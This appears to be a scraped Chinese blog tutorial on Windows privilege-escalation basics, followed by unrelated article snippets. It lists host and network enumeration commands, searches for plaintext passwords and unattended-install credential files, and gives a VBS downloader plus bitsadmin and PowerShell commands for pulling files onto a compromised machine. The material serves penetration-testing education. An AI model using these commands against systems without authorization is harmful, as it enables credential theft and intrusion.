Windows权限提升基础知识和命令

介绍



这篇文章是介绍window的权限提升,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考。

window权限提升基础知识



初始信息收集

在开始提权之前,我们需要了解操作系统基本的信息,如安装软件,操作系统版本,连接用户,端口进程等信息,

确定操作系统名称和版本


1

C:\Users\sanr> systeminfo | findstr /B /C:”OS Name” /C:”OS Version”

查看主机名


1

C:\Users\sanr> hostname

查看所有环境变量


1

C:\Users\sanr> SET

查看用户跟用户详细信息


1

2

C:\Users\sanr> net user

C:\Users\sanr> net user sanr

查看在线用户


1

C:\Users\sanr> query user

查询终端端口


1

C:\Users\sanr> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server\WinStations\RDP-Tcp /v PortNumber

网络连接

让我们来看看该系统的网络设置 – 基本网络,路由,防火墙等。

查看ip dns地址


1

C:\Users\sanr>ipconfig /all

要查看路由表


1

C:\Users\sanr> route print

要查看ARP缓存:


1

C:\Users\sanr> arp -A

查看网络连接


1

C:\Users\sanr> netstat -ano

要查看防火墙规则:


1

2

3

C:\Users\sanr> netstat -ano

C:\Users\sanr> netsh firewall show config

C:\Users\sanr> netsh firewall show state

应用程序和服务

查看系统上的计划任务


1

C:\Users\sanr> schtasks /QUERY /fo LIST /v

要查看服务的进程ID:


1

C:\Users\sanr> tasklist /SVC

要查看已安装驱动程序的列表:


1

C:\Users\sanr> DRIVERQUERY

查看已经启动Windows 服务


1

C:\Users\sanr> net start

查看某服务启动权限


1

2

3

4

5

6

7

8

9

10

11

12

C:\Users\sanr> sc qc mysqla

[SC] QueryServiceConfig 成功

SERVICE_NAME: mysqla

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 1 NORMAL

BINARY_PATH_NAME : “D:\Program Files\phpstudy\mysql\bin\mysqld.exe” MySQLa

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : MySQLa

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem

利用WMIC获取有价值的数据

查看其版本的已安装程序的列表


1

C:\Users\sanr> wmic product list brief

查看服务,进程或启动程序的列表:


1

2

3

C:\Users\sanr> wmic service list brief # Lists services

C:\Users\sanr> wmic process list brief # Lists processes

C:\Users\sanr> wmic startup list brief # Lists startup items

检查已安装的更新和安装日期


1

C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn

搜索,您可以使用提升权限的特定漏洞


1

2

C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KBxxxxxxx”

# Replace with a patch version that you are searching for. Eg – KB3000061

执行上面的命令的没有输出,意味着那个补丁未安装。

敏感数据和directories

检查未加密的密码,或敏感信息的文件多汁:


1

2

3

4

5

C:\Users\sanr> cd/

C:\Users\sanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.

C:\Users\sanr> dir /b/s config.* # Will search for all files starting with ‘config’ on the filesystem.

C:\Users\sanr> findstr /si password *.xml *.ini *.txt

C:\Users\sanr> findstr /si login *.xml *.ini *.txt

除此之外,您还可以检查无人值守安装日志文件。这些文件通常包含base64编码的密码。你更可能在大型企业中,其中单个系统的手动安装是不切实际的找到这些文件。这些文件的共同位置是:


1

2

3

4

C:\sysprep.inf

C:\sysprep\sysprep.xml

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattended.xml

目录文件操作

列出d:\www的所有目录:


1

for /d %i in (d:\www\*) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的显示出来:


1

for /d %i in (???) do @echo %i

以当前目录为搜索路径,把当前目录与下面的子目录的全部EXE文件列出:


1

for /r %i in (*.exe) do @echo %i

以指定目录为搜索路径,把当前目录与下面的子目录的所有文件列出


1

for /r “f:\freehost\hmadesign\web\” %i in (*.*) do @echo %i

显示a.txt里面的内容,因为/f的作用,会读出a.txt中:


1

2

3

4

5

6

7

8

9

10

11

12

for /f %i in (c:\1.txt) do echo %i

RAR 打包

C:\Users\sanr> rar a -k -r -s -m3 c:\1.rar c:\folde

php读文件

C:\Users\sanr> c:/php/php.exe “c:/www/admin/1.php”

<?php

$file_handle = fopen(“f:/config.asp”, “r”);

while (! feof($file_handle)) {

echo fgets($file_handle);

}

fclose($file_handle);

?>

利用系统程序,文件下载

拥有了这些信息,我们现在可以开始实际提升我们的特权的过程。

利用vbs来让我们上传文件,是一个vbs下载者,原理是下载文件到这台计算机(需要访问网络):


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

‘ downloadfile.vbs

‘ Set your settings

strFileURL = “http://127.0.0.1/text.ico”

strHDLocation = “d:\text.ico”

‘ Fetch the file

Set objXMLHTTP = CreateObject(“MSXML2.XMLHTTP”)

objXMLHTTP.open “GET”, strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject(“ADODB.Stream”)

objADOStream.Open

objADOStream.Type = 1 ‘adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0 ‘Set the stream position to the start

Set objFSO = Createobject(“Scripting.FileSystemObject”)

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

这个脚本可以在任何版本的Windows上运行,要执行它,如下。


1

C:\Users\sanr> script.exe downloadfile.vbs

如果操作系统是Windows7及以上的,使用的bitsadmin跟powershell:


1

2

C:\Users\sanr> bitsadmin /transfer n http://www.jd.com/favicon.ico d:\text.ico

C:\Users\sanr> powershell (new-object System.Net.WebClient).DownloadFile(‘http://www.jd.com/favicon.ico’,’text.ico’)

下载文件方式还有一些其他的方式,比如ftp php python,可根据自己的需求来选择。

时间: 2024-10-09 17:53:22

Windows权限提升基础知识和命令的相关文章

Windows GDI绘图基础知识

一.Windows可以画直线.椭圆线(椭圆圆周上的曲线)和贝塞尔曲线.////////////7 个画线函式是:(1)画直线LineTo    BOOL LineTo(HDC hdc,int nXEnd,int nYEnd);结合MoveToEx函数使用BOOL MoveToEx(HDC hdc,int X,int Y,LPPOINT lpPoint);Point记录了旧的坐标点(先前的当前位置).///注意:GetCurrentPositionEx (hdc, &pt) ;获得当前位置. (2

Linux基础知识&mdash;&mdash;shell命令类型及命令使用帮助

加入马帮有一段时间了,看到群里面大总管要检查博客,才意识到,原来我还没有写过作业.俗话说的好,时间是把杀猪刀!!!咳咳,其实想说,马哥视频忒长,内容贼多,对于文笔不好我来说,写作业压力山大啊,有木有.嗯.嗯,长话短说,进入正题. 两个星期过去,课程进度有点掉队,这篇博文主要记录基础命令课程知识,用于梳理知识点并加深印象,为今后行走linux之路打下坚实基础的好开端,完成该博文并回顾相关知识点后,期望加快学习步伐,稳扎稳打,跟上进度,good good study,day day up! 1.  

文件管理基础知识及命令详解

一.文件系统概述 1.文件和目录被组织成一个单根倒置树结构: 2.文件系统从根目录下开始,用"/"表示: 3.名称是大小写敏感: 4.以.开头的文件为隐藏文件: 5.路径分隔的/: 6.文件有两位数据: 6.1:元数据(文件名.大小属性等):metadata: 数据:data: 二.文件名命名规则 1.包括路径在内文件名称最长4095个字节,用/分隔的路径不能超过255个字节: 2.文件名除了/以外的任意字符,但不建议使用特殊字符,有些字符需要引号来引用它们: 3.标准Linux文件系

Microsoft Windows权限提升漏洞(CVE-2015-1701)

一个内核特权提升漏洞,如果攻击者在本地登录并可以在内核模式下运行任意代码,最严重的漏洞可能允许特权提升.攻击者可随后安装程序:查看.更改或删除数据:或者创建拥有完全用户权限的新帐户. 受影响的操作系统版本 Window 受影响的操作系统版本 Windows Server 2003 Windows Vista Windows Server 2008 Windows 7 Windows Server 2008 R2 Windows 8 和 Windows 8.1 Windows Server 201

Windows用户密码基础知识

1.Hash基本知识 在了解Windows用户密码之前,我们先认识一下Hash. Hash,我们称之为单向散列函数(也直接音译为哈希函数).它是把任意长度的输入,通过散列算法,变换成固定长度的输出的一个函数. 它具有以下几个特点: (1).算法本身是不可逆的,即可以由输入得到散列值,但是不可能从散列值中得到输入值. (2).不同的算法会得到不同长度的散列值,但使用同一个算法,无论输入的数据有多长,得到的散列值长度总是固定的. (3).不同的输入必然产生不同的散列值,两条相似的数据产生的散列值可能

Windows PE入门基础知识:Windows PE的作用、命名规则、启动方式、启动原理

Windows PE的全名是WindowsPreinstallationEnvironment(WinPE)直接从字面上翻译就 是"Windows预安装环境".微软的本意是:WinPE仅用做系统维护,并设置了各种限制.可以简单的理解为:PE是Windows系统的超级精简版.超级权限版(以系统system账户登录)!对于无法进入系统.修复系统.分区.重装系统等问题都可以进入PE进行操作,因此PE是系统维护强大的武器! 微软原版的PE,只有"命令行"即DOS窗口.网上流

Mysql基础知识----常用命令

一.连接MYSQL. 格式: mysql -h主机地址 -u用户名 -p用户密码 1.连接到本机上的MYSQL. 首先打开DOS窗口,然后进入目录mysql\bin,再键入命令mysql -u root -p,回车后提示你输密码.注意用户名前可以有空格也可以没有空格,但是密码前必须没有空格,否则让你重新输入密码. 如果刚安装好MYSQL,超级用户root是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是: mysql> 2.连接到远程主机上的MYSQL.假设远程主机的IP为:

Linux基础知识之命令的语法通用格式

#COMMAND OPTIONS ARGUMENTS 1.COMMAND: (1)发起一命令:请求内核将某个二进制程序运行为一个进程: 程序-->进程 静态-->动态 (有声明周期) (2)命令本身是一个可执行的程序文件:二进制格式的文件,有时候会调用共享库文件 多数系统程序文件都存放在:/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbin 普通命令:/bin,/usr/bin,/usr/local/bin 管理命令:/sbi

JAVA核心技术I---JAVA基础知识(命令行)

一:命令行编译文件 手动在c:\temp创建cn.com.test.Man.java –即c:\temp\cn\com\test\Man.java –c:\temp可以替换成任何路径,后续命令同样替换 编译: –X:\>java c:\temp\cn\com\test\Man.java 运行 –X:\>java -classpath .;c:\temp cn.com.test.Man X代表任意盘符或路径 二:运行class文件 java -classpath .;c:\temp cn.com